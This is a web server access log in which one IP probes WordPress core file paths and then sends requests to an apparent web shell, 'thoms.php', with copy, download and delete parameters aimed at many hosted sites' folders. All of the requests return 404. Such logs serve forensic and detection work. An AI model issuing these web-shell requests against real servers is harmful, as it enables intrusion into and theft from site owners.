45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/default-widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/formatting.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/ai-client/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/IXR/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/icons.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/feed-atom.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/l10n/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/block-supports/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/css/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/ID3/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/cache-compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:48 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/link-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/ms-load.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/view-config.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/?MA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/robots-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/ai-client.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/https-detection.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/comment-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/abilities-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/fonts/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/abilities-api.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/media-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/bookmark.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/widgets/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /ba-guo.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?dl=registration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?del=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
